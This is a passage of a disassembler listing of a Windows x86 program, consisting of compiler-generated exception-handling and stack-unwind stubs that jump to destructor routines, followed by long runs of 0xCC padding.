		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4277B0	proc near		; DATA XREF: sub_4277B0+2o
		mov	eax, offset dword_442A70
		jmp	sub_437AB8
SEH_4277B0	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CA78:				; DATA XREF: ___:00442AECo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427850	proc near		; DATA XREF: sub_427850+2o
		mov	eax, offset dword_442AC0
		jmp	sub_437AB8
SEH_427850	endp

; ---------------------------------------------------------------------------
		db 12h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427990	proc near		; DATA XREF: sub_427990+2o
		mov	eax, offset dword_442B10
		jmp	sub_437AB8
SEH_427990	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427C90	proc near		; DATA XREF: sub_427C90+2o
		mov	eax, offset dword_442B40
		jmp	sub_437AB8
SEH_427C90	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_427D50	proc near		; DATA XREF: sub_427D50+2o
		mov	eax, offset dword_442B70
		jmp	sub_437AB8
SEH_427D50	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4281A0	proc near		; DATA XREF: sub_4281A0+2o
		mov	eax, offset dword_442BA0
		jmp	sub_437AB8
SEH_4281A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428260	proc near		; DATA XREF: sub_428260+2o
		mov	eax, offset dword_442BD0
		jmp	sub_437AB8
SEH_428260	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4014CE

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428880	proc near		; DATA XREF: sub_428880+2o
		mov	eax, offset dword_442C00
		jmp	sub_437AB8
SEH_428880	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_428940	proc near		; DATA XREF: sub_428940+2o
		mov	eax, offset dword_442C30
		jmp	sub_437AB8
SEH_428940	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4290B0	proc near		; DATA XREF: sub_4290B0+2o
		mov	eax, offset dword_442C60
		jmp	sub_437AB8
SEH_4290B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CBC8:				; DATA XREF: ___:00442CBCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429120	proc near		; DATA XREF: sub_429120+2o
		mov	eax, offset dword_442C90
		jmp	sub_437AB8
SEH_429120	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_40204F
; ---------------------------------------------------------------------------


loc_43CC28:				; DATA XREF: ___:00442D14o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 43h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 58h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6Dh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4291E0	proc near		; DATA XREF: sub_4291E0+2o
		mov	eax, offset dword_442CE8
		jmp	sub_437AB8
SEH_4291E0	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-28h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CC88:				; DATA XREF: ___:00442D6Co
		mov	ecx, [ebp-28h]
		add	ecx, 0A1h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_429450	proc near		; DATA XREF: sub_429450+2o
		mov	eax, offset dword_442D40
		jmp	sub_437AB8
SEH_429450	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-53ECh]
		jmp	sub_4014BA
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5490h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5474h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-528Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-525Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-537Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5334h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-522Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5304h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5244h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52D4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-545Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5444h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-541Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5404h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-5364h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-534Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-531Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52ECh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-52BCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CDB2:				; DATA XREF: ___:004295B8o
		mov	eax, offset dword_442D80
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 44h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42ACB0	proc near		; DATA XREF: sub_42ACB0+2o
		mov	eax, offset dword_442E68
		jmp	sub_437AB8
SEH_42ACB0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AD90	proc near		; DATA XREF: sub_42AD90+2o
		mov	eax, offset dword_442E98
		jmp	sub_437AB8
SEH_42AD90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42AFF0	proc near		; DATA XREF: sub_42AFF0+2o
		mov	eax, offset dword_442EC8
		jmp	sub_437AB8
SEH_42AFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B380	proc near		; DATA XREF: sub_42B380+2o
		mov	eax, offset dword_442EF8
		jmp	sub_437AB8
SEH_42B380	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42B440	proc near		; DATA XREF: sub_42B440+8o
		mov	eax, offset dword_442F28
		jmp	sub_437AB8
SEH_42B440	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C1B0	proc near		; DATA XREF: sub_42C1B0+5o
		mov	eax, offset dword_442F58
		jmp	sub_437AB8
SEH_42C1B0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_43CEB0:				; DATA XREF: ___:0042C2C5o
		mov	eax, offset dword_442FB8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+20h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43CEC8:				; DATA XREF: ___:00443044o
		lea	ecx, [ebp+8]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-1A0h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C350	proc near		; DATA XREF: sub_42C350+2o
		mov	eax, offset dword_443018
		jmp	sub_437AB8
SEH_42C350	endp

; ---------------------------------------------------------------------------
		db 18h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C530	proc near		; DATA XREF: sub_42C530+2o
		mov	eax, offset dword_443058
		jmp	sub_437AB8
SEH_42C530	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------


loc_43CF28:				; DATA XREF: ___:0042C5D2o
		mov	eax, offset dword_443088
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42C770	proc near		; DATA XREF: sub_42C770+2o
		mov	eax, offset dword_4430B8
		jmp	sub_437AB8
SEH_42C770	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_4017A8
; ---------------------------------------------------------------------------
		mov	eax, offset dword_4430E8
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-30h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CB70	proc near		; DATA XREF: sub_42CB70+8o
		mov	eax, offset dword_443118
		jmp	sub_437AB8
SEH_42CB70	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_42CE60	proc near		; DATA XREF: sub_42CE60+2o
		mov	eax, offset dword_443148
		jmp	sub_437AB8
SEH_42CE60	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-74h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-70h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D0A4:				; DATA XREF: ___:0042D158o
		mov	eax, offset dword_4431A0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_435AA0	proc near		; DATA XREF: sub_435AA0+2o
		mov	eax, offset dword_443288
		jmp	sub_437AB8
SEH_435AA0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-168Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D10B:				; DATA XREF: ___:004432ECo
		lea	ecx, [ebp-16A4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43D116:				; DATA XREF: ___:00435B98o
		mov	eax, offset dword_4432C0
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4364D0	proc near		; DATA XREF: sub_4364D0+2o
		mov	eax, offset dword_4432F8
		jmp	sub_437AB8
SEH_4364D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4368D0	proc near		; DATA XREF: sub_4368D0+2o
		mov	eax, offset dword_443328
		jmp	sub_437AB8
SEH_4368D0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-128h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4369E0	proc near		; DATA XREF: sub_4369E0+8o
		mov	eax, offset dword_443360
		jmp	sub_437AB8
SEH_4369E0	endp

; ---------------------------------------------------------------------------
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
